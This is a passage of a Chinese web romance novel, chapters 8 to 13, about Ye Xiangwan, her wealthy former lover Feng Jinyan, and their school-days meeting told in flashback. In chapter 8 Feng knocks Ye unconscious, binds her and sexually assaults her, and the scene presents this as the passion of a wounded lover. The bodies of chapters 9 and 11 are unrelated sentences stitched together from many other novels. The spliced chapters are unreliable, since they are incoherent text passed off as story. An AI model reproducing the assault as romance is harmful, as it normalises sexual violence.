她还是救不活,她用尽了浑身力气迎来的却依旧是死亡。 她突然发觉,这无趣的二十一年没有给她丝毫活着的意义。 啊,不,其实曾经有过,可她放走了,不在了。 她出生在一个普通中层阶级家庭,有着疼她但却思想守旧又封建的爷爷奶奶。 爸妈是教书育人一辈子的高中老师,本能还有一个疼爱自己的哥哥,可是哥哥在五岁那年走丢了,爸妈便把所有的希望压在自己身上,要求她成为所有学生中最优秀的那个。 因此她有着异常昂贵的童年:大提琴,声乐,美术,书法,演讲,奥数,散打…… 她不知道猫和老鼠演得是什么,因为父母觉得那个东西没有教育意义。 印象中的小时候,便是穿梭在各种课堂里,莫名其妙就成了“别人家的孩子”。 可谁也不知道,“别人家的孩子”五年级期末考试发高烧,不小心考了年级第二,成绩单发下来的时候,居然被爸妈揍得好几天出不了门。 除了学习之外,从小她的交际圈也被规划的很明确,年级前五十往后不许结交,家庭是农村的不许结交,行为不得体调皮捣蛋的不许结交…… 她不是没有过叛逆的心思,但是最后因为第三次转学而放弃了,她听着父母苦口婆心讲述着“孟母三迁”,只剩无尽地疲惫。 这样的日子过得久了,也就摸索出了一套保护自己生活方式,不在意就不会熟悉,不熟悉就不会用心,不用心就不会受伤,冷漠是最好的办法,她出不去别人更进不来。 直到遇见封瑾言…… 不知过了多久,眼神才重新找回焦距,她看见镜子里的自己到处都是斑斑血迹,衬得那张脸苍白得甚是异常。 她撑起身子拧开水龙头,一头扎进凉水里。 “你……没事吧?” 突然一个路过的护士拍了拍她的肩:“你手机响半天了。” 她感觉自己像是个溺水的人,护士的声音从岸上传来,朦朦胧胧。 半晌叶向晚起身抹了把脸,指尖有些颤抖的掏出手机。 霍思卿…… 看到这个名字,她闭了闭眼,虚弱地倚在墙边。 “喂。” “在医院吧?” 霍思卿开门见山,连招呼都懒得客套:“一会十二点半,南风咖啡厅。” 叶向晚看了眼时间,还有半小时,她应了一声,随后面无表情地挂了电话。 南风咖啡厅,上次霍思卿把她心脏踩进泥里的地方。 那是一个明星前辈经纪人开的店,进进出出的全是有头有脸的名人,随随便便一瓶酒就能让她不吃不喝上好一阵。 叶向晚低头自嘲一笑,该来的终于来了,不过也是时候去面对了。 叶向晚提前到的,她坐在二楼咖啡厅靠窗的隔间,看着在漫飞雪中穿行的人流车群,眼里灰漆漆的,没有色彩。 “咔,咔,咔。” 鞋跟从容的踩着地面,声音由远及近,叶向晚背对着门口,因为她不想看着那女人闲庭信步的走到自己面前,因为那每一步都在宣示着她彻头彻尾的失败。 对面的椅子被拉开,叶向晚抬头,那是一张轮廓精致紧实,完全判断不出年龄的脸。 一副黑色的墨镜盖住眼睛,紧抿的红唇丰满性感,在寒冬里穿着精致丝毫不显臃肿,浑身上下都美得端庄大气,引人侧目。 封瑾言那无与伦比的相貌大多也是遗传了他母亲。 霍思卿没有说话,甚至连墨镜也没有摘,就那么坐在对面沉默地看着叶向晚。 叶向晚也不开口,波澜不惊地回视着对方。 “你有这张脸也不怪我儿子当初鬼迷心窍。”霍思卿说完轻笑了一声:“但是脸色实在不怎么好啊。” 叶向晚微微垂眸喝了口面前温热的奶茶,不带一丝情绪:“见到您肯定好不到哪去。” 霍思卿并未生气,反倒笑着摇摇头:“还是这么牙尖嘴利的。” 叶向晚没心思继续跟她斗嘴,拿出一张储蓄卡放在桌上推到了中间, “连本带利都在这了,需要当面给您看一下余额吗?” 霍思卿沉默着,没有说话也没有动作,就像是在等什么一样。 叶向晚没多想,她现在的身体实在已经到极限了,只想尽早离开这里,她撑着桌子缓缓起身。 “您没什么事了的话,我就先走了,以后我们大路朝天各走一边,希望再也不见。” 突然霍思卿迅速摘下了墨镜,那双满是风情的眼睛顷刻间变的红红的,眼尾居然还带着剔透的泪珠,她抬手一把拽住叶向晚的胳膊。 8:相爱相杀 叶向晚愣愣的站在原地,还没等反应过来怎么回事,就听见霍思卿带着微微哀求的声调低声下气的对她说:“算阿姨求你了,你要多少钱我都给你,但你放过我儿子吧!” 说着还把桌面上的银行卡往她这边推了一下。 “什……” 叶向晚刚开口,突然肩膀传来几乎被捏碎的痛楚,那手拽得她倒退两步,然后身子被猛地推到了墙上。 封瑾言?! 叶向晚脑子还有些发蒙,她看着面前那猩红双眼里化不开的愤恨,以及霍思卿突然焦急委屈的样子,只觉得有些茫然。 但当她余光扫到那张银行卡的时候,瞬间意识到了什么。 “叶向晚,你现在还在跟我家勒索钱?!”封瑾言拽着她手腕,满眼的冰渣子:“我是不是应该杀了你,嗯?!” “我没……” “我全都看见了你还说没有?!” 封瑾言那精美绝伦的脸此刻满身寒冰,满眼赤红地直刺她心底:“叶向晚你到底有没有心?你骗我六年,拿了钱就一脚踹开,接着又恶心了我六年不算,现在还阴魂不散地找上我妈?!” 封瑾言眼神里的冰冷逐渐转化成了哀怨的阴翳。 他冷笑了一声,声音是彻骨的冷:“我一直觉得你对我不是没感情的,但看来我又错了,你从来没喜欢过我!叶向晚,你让我恶心!我恨你!你去死吧!” 叶向晚浑身剧烈一颤:“你从来没喜欢过我……” “你让我恶心……” “我恨你……” “你去死吧!” 一刀剜心,鲜血淋漓。 叶向晚看见封瑾言身后的霍思卿勾起了嘴角,像看一只蝼蚁一样睨着她。 满脑子都是封瑾言残酷的声音在回荡,整整一个月以来积累的彻头彻尾的无力感,此刻汹涌地满上全身上下,她空洞地垂下眼,低笑了一声。 这一声笑却不想把封瑾言彻底惹火,他大手捏着叶向晚的手腕粗暴的往楼下拽。 叶向晚狼狈地踉跄了几步,抬手一根手指一根手指地掰开那像是捏着她咽喉的手。 “封瑾言……” 叶向晚声音嘶哑颤抖,好像这具身体马上就再也承担不起这个名字的重量了。 她感觉胸腔里有什么在疯狂的叫嚣着,怒吼着,她有一瞬间想要不管不顾地说出一切。 让他后悔,让他继续爱她。 可若说出来了,封瑾言还会信自己吗? 如果信,他跟自己在一起,那么这六年的分离又有什么意义? 他也会因此跟家人闹的不欢而散吧! 想着这些,叶向晚所有的冲动瞬间消散。 竟然六年前已经做了决定,那么就不能再重蹈覆辙。 “求你……” 叶向晚的声音轻得几近耳语。 “什么?” “求你……放我走吧……” 几乎压垮心脏的绝望,经过唇齿,最后却只化为了这寥寥几个字。 “走?呵!” 封瑾言表情透着几分心寒失望嘲讽:“你让我放你走?!” 话音刚落,在所有人都没反应过来的一瞬间,封瑾言突然抬手猛劈向叶向晚后颈。 叶向晚毫无防备,顺势软倒下去,陷入了昏迷。 叶向晚并没有昏迷很久,她被一波冰冷的水给泼醒的。 刺骨的水渗透进肌肤,她倒吸了口凉气,刚想动,却突然怔住了,她发现自己双手高举过头顶被绑在了床柱上,瞬间冷汗混着水就从后背上滑了下来。 “你要干什么?” 叶向晚甩了甩脸上的水,脑后的痛楚让她思维更清楚了一些,她望着一步步朝她面无表情地走过来的封瑾言,突然觉得不寒而栗。 “干什么?” 封瑾言微微偏头看向她,其中有一个字却咬得格外的重,那表情就像即将要嗜血的猛兽。 “封瑾言你……” 叶向晚下意识往后退了一下,却已经完全避无可避。 “你还记不记得当初我说过,在我们十八岁生日那天一定要玩个大的?” 叶向晚心里一沉,她当然记得,她甚至记得封瑾言当时说这句话时张扬的笑脸和温柔的眼眸。 可那张少年最热忱的脸与温柔,怎么也不能和现在眼前幅阴沉至极的面庞重合。 “封瑾言,你冷静点……” 话音未落,突然一巴掌狠狠地扇在了她脸上。 痛苦的呻吟声卡在喉咙里,叶向晚双腿弯起,整个人颤抖地蜷缩成一团。 她没有想到封瑾言真的对会打她,本来胃就疼,现在她感觉她整个人几乎要碎裂成了无数块。 “冷静?” 封瑾言一手捏住她的下巴,一条腿的膝盖跪上了床:“你知道把整个心都献给一个人后,却被她一次一次踩在脚底,碾得面目全非的痛吗?你根本不知道?!怎么敢让我冷静?!” 封瑾言琥珀色的眸子里盛满了决绝的疯狂,他手伸向叶向晚的领口用力一扯,扣子瞬间四处飞溅,有几颗弹落在地上,那声音却砸的叶向晚耳膜翁鸣。 “你不懂,因为你没有心,既然不会心痛,那就让你换一种痛法吧。” 封瑾言带着粗暴的动作欺身压了过去。 “封瑾言,停……停下!” 叶向晚拼命挣扎着,手腕冷白的皮肤被刮得血红。 她曾经觉得如果有这一天,那一定是美好的,热血沸腾的、抑制不住的、充满沉醉的欲望,而不是现在这样疯狂的、绝望的、撕心裂肺的。 剧烈的疼痛让大脑已然无法思考,像把利刃凌迟着她的灵魂。 太痛了……整整一个月的折磨,早上在她手里消逝的温暖生命,以及现在近乎屈辱的疼痛,终于让她身心到了极限。 叶向晚哇地吐出了一摊血,刺眼的鲜红溅了他们两人一起身,那股浓厚的血腥味呛得她剧烈咳嗽起来。 封瑾言猛地一惊,顿了一瞬,“你怎么了?!” 叶向晚疼的几乎说不出话,见状,封瑾言起身,就要把她抱起。 “别碰我!” 叶向晚用尽全力的吼出三个字,那声音空洞的仿佛已经被抽干了灵魂,她抬手捏住心脏的位置,手指几乎扣紧了心口的血肉里。 9:初次认识的美好(1) 俗话说的好,近水楼台先得月,这一次他们之间又没有了阻碍,他要温水煮青蛙,慢慢炖了她。 霍冬眠的电话把远在首都的毛晔林气得直吐死,要不是被家里老头子严加看管着,毛晔林绝对驾着私人飞机直杀过来。 李辉自言自语着,冲镜子中的自己狠狠的挥了下拳头,返回到电脑桌前,啃了包方便么,灌了瓶矿泉水,再次进入游戏。 幸也不幸,狂狮份量不轻,虽然下巴中了对方一脚,狗身也踢得凌空,但只是在空中转了不足半圈就坠落在地上。正是背部落地没有被打到趴下,只是这样五心朝天又让他感到十分羞愧。 “昊智、雅欣还有外公你们留下,其他人出去吧!”伊颜招呼道。 我这一夜应该是最为风流倜傥了,要是被其他男人知道我今晚的事情,估计得被投来羡慕嫉妒恨的目光。 在山城买了机票,直接去了深圳,回到深圳,先去住处看了一下,又跑去了公司。 突然遭遇乱入西游世界的无天,沈方跟着无天来到无天的据点之中,一片玄奇鸿蒙的洞府之中,沈方与无天对坐在一方蒲团之上。 “你们俩到底怎么回事嘛?昨晚一战也没有受伤,怎么回全身上下酸痛无力?”伊美有问道。 “洛基!你疯了么,院长步入理之境已经二十多年了,不要莽撞。”薇丽雅还是没有放弃,希望两边不要兵刃相见。 “他还是第一回负伤而归!”身边儿一人想了想又加了这么一句。 两张出生证明上,沈诗瑶的出生日期比云非墨整整大了一岁,这说明了沈原明在当年就已经出gui,只是一瞬间,沈原明所谓的深情男人人设,瞬间崩盘。 夏以沫怎么都没想到的是,龙慕寒出来之后,让她的脑袋瓜枕在他左手臂上。 掐断了电话的裴墨衍,眯眼看着落地窗前的霓虹灯,眯起双眼,缓缓吐出口中的烟雾。 而下一刻,那被握住命门的感觉,更是让她大汗淋漓,因为法海这贼和尚,准确无比的握住了她的胆。 可是挠着挠着,她的动作却慢了下来,因为裴墨衍只是淡定如常,湛黑的眸静静的看着她,唇角噙着一抹若有似无的笑意,未曾开口。 和她们的表情完全相反的是那位服务员,记着龙慕寒点的东西,脸上的笑意越是浓烈。 无奈开始顺毛捋,“如果不行,就算了。”反正一开始她顾及也不过是寄主在皇宫求生存的这个梗。现在出了寒夜冥这个变故,她也不介意玩儿一下曲线救国。 分身模式就和他的名字一样,可以让被选中的目标暂时变成自己的分身,让自己的意识寄居在被选中的目标之上。 许容容并没理会张妍,只微微仰着脸,认真的看着裴墨衍,等着他的回答。 焱牙先前犹豫的神色,瞬间变成了浓浓的震惊、和一丝丝恍然的明悟。谢云展现出的惊人速度,一直让焱牙在空间玄奥、顶尖武技和神异法宝之中犹豫,而到了现在,很显然一切的根基,正是谢云对于空间玄奥的领悟。 在那一战,轮回可是被打的四分五裂,化作了无数的碎片,散落在整个盘古世界。 外面确实有不少士族豪强,不止是张家,还有应家、和家、陈家等等,或是如今鼎盛,或是曾经鼎盛,俱是了不得的士族。至于豪强,那就更多了,不说也罢。 周辰低声的对李童道说道,虽然这个消息对于李童道来说,或许不是一个好消息,但是周辰该说的还是要说,该让李童道知道的事情还是要让李童道知道。 周辰低喝一声,步子猛然跨出,紧握着匕首朝着对面的鬼叔刺了过去。 只不过这一次并不是种植在通元神木附近,而是种植在靠近东北方向的一片不算高峻的山脉之中,四株年份高达一千七百多年的碎骨草一种下,天地之间弥散的精纯元气便即迅速汇聚而来,移植竟然出奇的顺利。 张辽和关羽,却不再说话,沉默的仿佛哑巴,只有不整齐的呼吸声,宣示他们还不是尸体。 “我,,,”司徒嫣本想出声劝她先别哭,可这一开口才发现,嗓子干的难受,声音有些嘶哑,看来这身体是有好一阵子不曾开口讲话了。 知道他比李战大多少级吗?知县是从九品,上面是正九品、从八品、正八品,,,,,,这样一路数上去,到从五品就是他,整整差了八级,不是他比李战高八级,是他比赵县令高八级,至于李战,可以忽略不计。 10:初次认识的美好(2) “你等下!” 两人身形交错的时候,封少爷一把抢过她握着的手机,然后往后站了两步,抬起来威胁似的晃了晃。 叶向晚扯了下嘴角,不知是嗤还是嘲,继而转回眼目光冷淡地盯着封少爷。 他们就这么直愣愣地盯着对方看了一分钟,叶向晚实在觉得这么对着眼太傻了,她偏头叹了口气,接着冷冷的吐出来两个字:“去哪?” “随便,我还没想好,你看着办。” 叶向晚:“……” 我能怎么看着办…… “你带我坐地铁,然后找个地儿吃饭。” 封少爷似乎也觉得该解释一下,“我从家里跑出来的,他们要抓我回去。” “抓你回去干吗?”叶向晚随口一问。 “继承成千上万亿家产。” 叶向晚:“……” 叶向晚决定不再问任何问题,她长这么大头一次觉得自己嘴欠。 于是扬手把不知道多少位数的裤子扔进更不知多少位数的书包里,转身走出了隔间。 “走那么急做什么?”封少爷小跑几步跟上:“我叫封瑾言,你呢?你现在要带我去哪?是坐地铁?吃什么?哦对,我不想吃西餐……” 叶向晚感觉耳边有只硕大的麻雀对着她疯狂输出,她停下步子转身:“我为什么要带着你?” “因为地铁出站的地方有人守着,我去那肯定就被抓回去。” “……那你自己坐地铁走啊。” “我……咳,”封瑾言清了清嗓子:“我不会,不会坐……地铁。” “……” 叶向晚深吸一口气,转脸看了看四周形形色色的人,再看向面前这个好看的甚至有点像王子的男生。 这是遇到穿越的了吗? 地铁都不会坐?! “别傻站着。” 封瑾言啧了一声,拽着她的袖子往前走:“快走!我一会被发现……对了,你到底叫什么?总不能一直叫你喂吧?而且你做什么一直冷个脸,女孩子就要多笑笑出口,难道是我长得还不够招人喜欢?” 叶向晚:“……” 叶向晚拇指关节顶住眉心,然后反手拽住封瑾言的胳膊:“走反了,那边是出口。” 片刻后她叹了口气:“叶向晚。” 大概因为今天是工作日,中午地铁里的人不多,叶向晚双手抱臂靠在座位上,余光瞥见周围,几个男生女生悄悄对他们这边举起了手机,她偏头躲过,视线就落在了左边的封瑾言身上。 他已经摘下了口罩,看起来年龄应该跟自己差不多,眉毛很黑,唇红齿白的,是那种人群中特别扎眼的浓墨重彩的好看。 而此刻的封瑾言就像一头误入繁华城市的小狼崽,瞪着清亮亮的眼睛四处逡巡,坐也坐不老实,要么一会转身胳膊肘顶到了叶向晚,要么就是伸长了脖子朝她凑过来。 “叶向晚,你地铁停下的时候万一错过站台这个口怎么办?” 叶向晚:“……” “叶向晚,你说为什么地铁里没有厕所?” 叶向晚:“……” “叶向晚,你说为什么名字叫地铁,却在地上开?” “……不在地上你要上天吗?” 叶向晚在第三次听见自己的名字时,终于忍不了,简直眼瞎把傻狍子看成狼。 “不是,我的意思是地铁不应该建在地下么?” 封瑾言皱着俊眉有点不耐烦。 “成本问题,地上地下都有。” 叶向晚实在不知道为什么这男生看起来比她还不耐烦。 “那我前两个问题回答一下” 封瑾言听到答案之后,面上的不爽就没了,眼睛目不转睛地盯着她等答案,似乎好奇得很。 “……自动驾驶。” 叶向晚抱臂,仰头抵住窗户:“地铁站有厕所……” “怎么这么不耐烦?你是懂得多,但你不要给我装。” 叶向晚:“???” 叶向晚看着封大少爷盛气凌人的小表情,不知道的还以为她坐的是龙椅,于是瞬间丧失了争辩的欲望,干脆闭目养神。 半晌,周围终于安静下来后,她觉得今天也是稀奇,自己已经很久没有跟人这么对话过,情绪起伏的次数也都快赶上以往一个月的量了。 这种话多又自来熟的人她是真的不擅长应付。 “还有多久到吃饭的地方?我好饿……” 封瑾言捂着肚子终于老实了下来,有些疲倦地乖乖靠在了椅背上。 “半个小时吧。” 叶向晚眼皮也没抬平静地说。 “什么?半个小时!”封瑾言腾地站起来:“我挺不了,我人都饿得都成片了,下一站就下车吧。” “坐下。” 叶向晚在周围纷纷聚拢过来的视线中,不得已伸出手把封瑾言拉下来,被逼得深吸一口气:“好好呆着,不知道的以为你长痔疮了。我一会有约,你现在想吃饭的话就自己下去。” “你!” 封瑾言眉头皱了皱,半晌后又蔫了下去:“行吧,听你的就是。” 叶向晚不再搭理他,拿出耳机带上,习惯性的打开TED,随机点了个演讲开始播放。 果然不其然,身旁的人安静不到五分钟,叶向晚左边耳朵的耳机就被拿掉,然后热乎乎的温度凑了过来。 “居然是英语听力,我还以为你在听歌。” 封瑾言有些不高兴被对方忽视。 “别闹,”叶向晚伸手:“给我。” 封瑾言并未给吗,嘴上可怜巴巴的说道:“我一直是小学老师口中的‘麻烦精’,可后来大家发现,我患有……焦虑症和抑郁症。” “……什么?” 叶向晚手悬停在空中,封瑾言突然的剖白让她有些猝不及防。 这种情况下她感觉似乎应该出言安慰两句,可偏偏身边从来没有过需要自己‘安慰’的朋友,于是就那么茫然又有些许无措地看着封瑾言。 她也无法想象也难以置信,眼前这个阳光帅气的男生,竟然会有焦虑症和抑郁症?! “什么什么?”封瑾言反应过来她的问题,在她眼前打了个脆生生的响指:“这是演讲里说的,我给你实时翻译,这么惊讶?没见过我这么优秀的男生吧!” 11:初次认识的美好(3) “可是,封印不是一直存在吗?你如何能够透过封印借来?”龙武还是有些不太明白。 五个拍摄单位,22位佳丽分四组,坐上皮划艇,一个个跃入深海,由摄影师拍摄。 “七星剑客,墨渊?”看到一行众人,与其他人沉重心情截然不同的剑飞扬,则是嘴角勾起,脸上没有半点异样。 罗维在床榻上,用被子将自己全身都裹了起来,缩在了床榻的最里面。 有兽化者直接化为一头头巨兽,朝着梁子威他们冲去,他们的目标是除苏木,郑夜以外的所有人,至于他们两个就交给帮派里的高层了。 柯以瑶知道自己发花痴有些失态了,瞬间窘红了脸蛋,不好意思起来了。 他们赶到后山去了,老师临时有事,就让温乐楠带领大家到后山写生,大家也都很听这个班长的话。 但是,这等损失,相对于那妖兽仿佛是无穷无尽般的形式,显然并不是有多大的用处。 一听到男子以如此戏谑的口吻提到苏檬,白梨落当场控制不住了。 三嫂被突然的闪光晃了一下眼,一时间看不清对方面容,可是这身高胖瘦、这站立姿态给人的印象过目不忘,“是你!”三嫂惊呼出声。 他现在知道,为什么他找到的那个手抄本是新的了。老镇长和黑袍人达成了某种交易,原件给了黑袍人,而老镇长想留下一份,自然手抄了一份。 他还不知道常青手里收到的可不止两封,连他哥哥武宏骏的邀请也收到了。 青珑忽然从床上惊坐了起来,仿佛想到了什么,脸上的神情骤然一变,换上了铁血与狠厉的外皮。 但偏偏实力不济,根本没有报仇的机会,这使得他每天茶饭不思,几个月的时间人就瘦了一大圈。 “我也只是问问,你这是什么态度……我跟你爸先去白晖那里看看……”赵千秋也没有因为郑柏娜说话的口气生气,想着还是先去白晖那里看一眼才能放下心来。 抬腿迈入房门,直等到所有人都走进门中之后,房门这才缓缓闭合。 走进一个黑暗的空间,前行百丈远,前方传来雷鸣的般的巨响,一道瀑布垂落,挡住一个古洞。 “好。”獒王默默地点头,跟上老板娘,林雯莫名其妙,这位客人怎么突然兴致不高了呢? “那就让事实说话,看看我到底有没有那个能力!”陈俊良的眼球忽然由黑变白,一道猩红的丝线从眼球中心向外扩张,力量抑制不住的向外扩散,整个帝都城外的天地都仿佛被其搅动了。 “是吗,既然你都这么说了,本君也要给你一个承诺了。本君会一直陪伴着你,不管你走到那里,本君都会一直一直陪伴着你。这是我血色暴君一辈子的承诺。”琉星右手握拳轻轻地击打了一下自己的胸口。 杨呈并没有带队冲锋,也没有去指挥战斗,任凭公会里的人去发泄。这一场战争之前打扫流星雨留下的装备虽然还不能弥补人员等级的损失,但上洋城的收获却足以填平这个坑了,悠然的这批装备杨呈就当送礼了。 “好的,我明白了,还有什么吗?”彩络点了点头,做出一副欲走的样子。 不过好在破庙后头就是荒山,瞧着山上植被颇丰,想来各种野草草药也必不会少。 而如果把神魂草加入天玄果跟九阳灵芝之中的话,那么炼制成功的天玄丹,绝对是非常强大的。 超级大茄子:好吧,我信,你丫要不是黑客,那我们肯定就是撞鬼了。那场之所以输了是因为我们几个根本就没有在打,而是在家里看你如何自杀? 眼看就要把两百条新闻看到底了,忽然间,戴青云和戴泽星两人都同时凑近了电脑屏幕。 “嗷嗷过瘾了!”少科兴高采烈的把手上的血迹在身上混乱擦了两下,走到我旁边哈哈大笑的说道。 “我让你们停下来!”珠粒子看着辉光沙漏的这一动作,立刻有些着急地冲出了房门外,试图制止辉光沙漏的行为。 直到火车发动后,我们也没有在窗边看到郭强。随着火车的远去,郭强也离开了这座城市,离开了我。 这是没有声响、没有爆炸的“核爆”,但其威力却远超任何核武器。 很多很多年前,威尔和斯派瑞船长,联合八大海盗王,最终和英国政府制定了一个决定,从此海上多了一个巨无霸级别的财团,也让蓝泽拥有了一辈子也花不完的钱。 这让李慕儿惊觉此刻彼此的立场,以及场外围观的一触即发的众人。 十指连心的剧烈痛楚感涌上脑海,黑暗路基艾尔下意识松开右手黑暗火花痛呼着伸出左手捂着自己的右手,而失去能量支持的黑暗火花骤然掉落地面,自尖端处荡开的红色光晕也随之消散开来。 她又想到眼前的太皇太后,在他失去母妃后一手维护他长大,想必对他是真心疼爱,不觉就对这老太太萌生了许多好感。 抬起头望着地面上突然出现在伽休莱因身前的蓝色巨人,刚刚从飞翼号上跳下的相原龙惊喜大喊道。 而沙鸿羽感觉丢丢的灵力强度,竟然还隐隐在朝筑基中期迈进。他一方面感叹天道规则对这个世界的偏爱,一方面又极为想把他们拉近灵溪宗来。 最后,詹姆斯助攻雷阿伦完成一记三分,热火将他们的领先优势扩大到了5分,而布雷特布朗也不得不叫出了一个暂停。 白娇有强硬的后台,有强大的背景,如今老天还赐予她强悍的实力。 “明天看了再说。”林雪一想着要的东西不是很多,方正空间里面的东西都有。 “南瓜战舰,你们为什么不挡住他?”法国总统在用耳麦质问上空战舰。 12:初次认识的美好(4) 红色渐渐退去,肉片边缘不规则的卷曲着随着滋滋的声音,金黄色的油泡泡一个接一个地爆掉。 之前还喊着要保持身材的封大少爷来者不拒,先吃一片肉,再咬一口生菜,眼神就没离开过饭桌。 但急归急,少爷吃饭的时候背脊挺直,动作不紧不慢规规矩矩,整个人透着股带着贵气的绅士,难得有人吃烤肉也能保持餐盘周围干干净净的。 叶向晚在烤肉的间隙,眼睛扫过封瑾言红润的薄唇,那上面抹了一层亮亮的油光却全然来不及擦,看来还真是饿坏了。 “这片太大,给我剪开。” 封瑾言大概是终于吃到把那股饿劲冲掉了,才倒出来嘴开口命令着。 叶向晚没说话,神情漠然地看着他。 “……谢谢。” 叶向晚这才拿起剪子把肉几乎均等地剪成了三段,又挨个夹进了封瑾言的盘子里。 她刚才进到207包间之后,非常直截了当地在门口就开口道:“我不去一中上学了,我去龙川,钱不用你管。” 她当时思考了一下,这么久以来留着心眼攒的压岁钱,再加上凭着中考第一的名头,暑假里给别人补课也挣了些钱,算起来入学的学费也应该也够,至于以后,就走一步看一步吧。 就在她母亲的巴掌都抬起来的时候,一中校长到了,她索性亲自道了歉,结果人家校长知道不用做这种不正当的勾当后,反而开开心心地和她聊了半个多小时。 她本以为出来就可以给封瑾言结账了,没想到自己完全低估了封大少爷的金贵程度。 大概是长这么大也没亲自烤过肉,封大少爷好不容易屈尊贵手,结果第一块没熟,他又不吃生食,咬了下就皱着脸吐掉了。 第二块其中一面又有些焦了,他又不吃碳化的,气得把筷子重重拍在桌子上。 于是等叶向晚下楼的时候,就看见大少爷杵在座位上紧锁眉头,皱着俊眉地烤着一片生菜…… “叶向晚好友加一下。”封瑾言手指在手机上戳了几下后递过来,“我到时候打完招呼给你发消息,证件之类的去办手续就行了。” 叶向晚看了眼屏幕“皇上吉祥”,头像是个逆光的侧影,很有感觉,看那精致的轮廓应该就是本人。 封瑾言收到好友申请后盯了半天手机,脸还往靠近屏幕的地方凑了下。 “……啧啧。” 封瑾言边摇头边向她竖起拇指:“你要是用句号当名字都能看清,你居然用个小数点,别人@你都看不见,我刚还以为是我屏幕落下的灰。” 叶向晚眼皮微抬,没有丝毫情绪的轻轻放下夹子,平静地看着肉躺在烤盘里逐渐变黑。 “糊了!你……” 封少爷吃人嘴短,看见对面那冻着的脸气焰就蔫了下去,用筷子怼了几下盘子里最后的一片肉,才命令般地开口: “快点烤,你是全市第一的话我让你免学费行吧!我家给学校资助了那么多,他们不差你一个人的学费。” 叶向晚秀眉一挑。 “行不行?” 封瑾言在下边抬脚踢了一下叶向晚的鞋。 叶向晚抬脚踩了回去,在封少爷横眉怒目地悲愤里拿起夹子时吐出两个字,“成交。” 封少爷这才敛眉,不过还是吐槽了一句:“叶向晚,我发现你除了脸长的好看点以外,哪哪都不招人喜欢。” “我不需要别人喜欢。” “那你以后不找男朋友,不嫁人?” 叶向晚看他一眼,反问:“我为什么要嫁人?” “……” 一个月后,整个热得空气都蒸腾了的暑假,终于到了尾声。 城茂密的梧桐枝叶连成片,龙川气派的校门口前是一大片停车场,浓郁的树荫下,司机打开车门,穿着精致西装校服的富家子弟们微昂着头,踩着小皮鞋跨进校门,相互寒暄着彼此公司亦或股市的近况。 叶向晚目不斜视地从排排铮亮的豪车中穿过,虽然飘进耳朵的内容有些让她咂舌,但也再没了什么其她感觉,因为她清楚的知道自己的目的只是尽量出色地完成学业。 毕竟龙川毕业证的含金量足够她给自己未来提供更多选择,和离开这个早就不是家的地方的底气。 她穿过纯白大理石地面走廊,抬头看了眼牌子上镶着金边的“高一(1)班”,抬腿走了进去。 班级里的喧哗声在她露脸的瞬间戛然而止,那表情就像一群被捏了脖子的鹅,她站在门口眼神漠然地扫视一圈,最后目光定格在窗边最后一个空位上。 她在整个班级的注视下没什么表情地把书包放在桌上,拉开椅子,坐下,头微微偏向窗外同学。 “那个女生就是封瑾言的跟班?” “这长相和气场也太不像吧!是不是你消息错了?” “怎么可能,教务主任亲口告诉我跟我爸的,封瑾言说自己有洁癖还是什么,必须有个人时刻照顾他,不然就犯病,于是就弄进来了个小跟班。” “哦,也是,不然我们这圈子谁不认识谁啊,她这张脸如果是圈子里的怎么可能没印象。” 叶向晚抿了抿唇,她没想到自己居然是通过封瑾言如此撒泼打滚的方式进的龙川,但单看结果来说她也算欠了份人情。 突然班级里毫不避讳本人在场的议论声,再一次戛然而止,叶向晚转过头,发现封瑾言正站在门口,目光扫过班级似乎在找谁。 她单肩挎着书包,眉头微皱着,看上去心情不怎么样。 “你跟我出来。” 封瑾言径直穿过人群,把书包扔在叶向晚桌子上话说完,转身双手揣兜就往门口走。 叶向晚挑了下眉,她虽然不介意被别人说成跟班还是什么,但这种呼来喝去的语调她也懒得搭理。 她可从来都不是逆来顺受的性格。 于是在所有人惊疑不定的目光里,她拎起封瑾言的书包往前面椅子上一扔,接着偏头继续看向窗外。 封瑾言走了几步发现身后没动静,转回身正看见自己的书包被竟被对方扔到他的书桌上。 13:初次认识的美好(5) 这个年纪的少年最在乎的无非就是面子和存在感,养尊处优长大的封少爷可忍不了在这么多人面前丢分。 他面色有些阴沉地转回身,疾步走回叶向晚座位旁,屈起食指用关节敲了敲桌子:“出来。” 叶向晚把目光从一片被风吹散了的云上收回,心里暗自叹了口气。 龙川和别的学校不一样,这里是有明确的阶级划分的,现在这屋子里每个聚在一起的小团体,都是一个阶层的缩影。 像封瑾言这种人就是最高阶级的,他们都是各大资产过亿的富豪或者红色背景耀眼的孩子。 往下就是资产千万级的企业、高管、一二线娱明星的儿女,中产阶层的在这里几乎少之又少,而叶向晚这样的纯粹属于社会关爱人士。 身为一名“社会关爱人士”,她是真的不想一开学就受着一个班的注目礼,奈何有人偏不随她意。 她和封瑾言一站一坐对峙半晌,忽然一个踩着高跟鞋的女人就绷着张脸走进了教室,在讲台前站定。 “请大家都回到座位,从今往后我是你们的班主任,我叫蒋欢,现在要给大家开个早会。” 封瑾言皱起眉头,又盯了一眼叶向晚两秒,才不悦地转身坐到前面的座位上,毕竟能在这座学校里管学生的老师,也都不是什么善茬。 “下周一我们要开一个新生入学大会,讲话的学生代表做了变更,叶向晚同学请你做好准备。” 话音刚落,班级掀起了一片低声喧哗。 “不应该是封瑾言吗,他不是我们学校第一,况且给学校投资也不少。” “这叶向晚到底什么来头?” 前边本来踩着椅子小幅度晃的人突然长腿一收,悬空的椅子腿“咚”地撞在地上。 “你要不要再大点声,我把窗户开开,你上我这来喊,嗯?” 封瑾言转头冲着隔一个过道离他最近的男生说道。 那声音不大,但却足够让一个班安静下来。 叶向晚看着他抬手烦躁地抓了把头发,不知是睡觉没睡好,还是因为气着了,那浅褐色卷发从他的指缝间不规矩的支棱出来,凌乱地想让人抬手顺下去。 片刻后叶向晚垂下眼,侧身抬手轻轻拍了拍封瑾言的书桌:“封少爷,你那天既然有事让我帮你念,那晚上别忘了把演讲稿给我。” 话音刚落,一片寂静,两秒后全班议论声轰然响起。 只过了一个下课的时间,全校就都知道封少带跟班上学的消息实锤了。 在这种以社交为主要目的的圈子里,上趟厕所八卦就能上出好几个班。 不过因为校方传统,开学第一天就是摸底考试,所以其他班的人都还没来得及亲自观摩一下这有史以来第一位“关系户”。 因为学生少,所以每个班都是5X6的单人单桌,考试都不用换座位。 但叶向晚并没听说开学第一天就会有摸底考,所以她也没准备涂卡笔。 教室里除了传卷子的“沙沙”声,安静得很有压力。 叶向晚坐在封瑾言前面,结果等到旁边的人都开始答题了,她这还没拿到卷子。 前面的人应该不会作弄她,除了…… 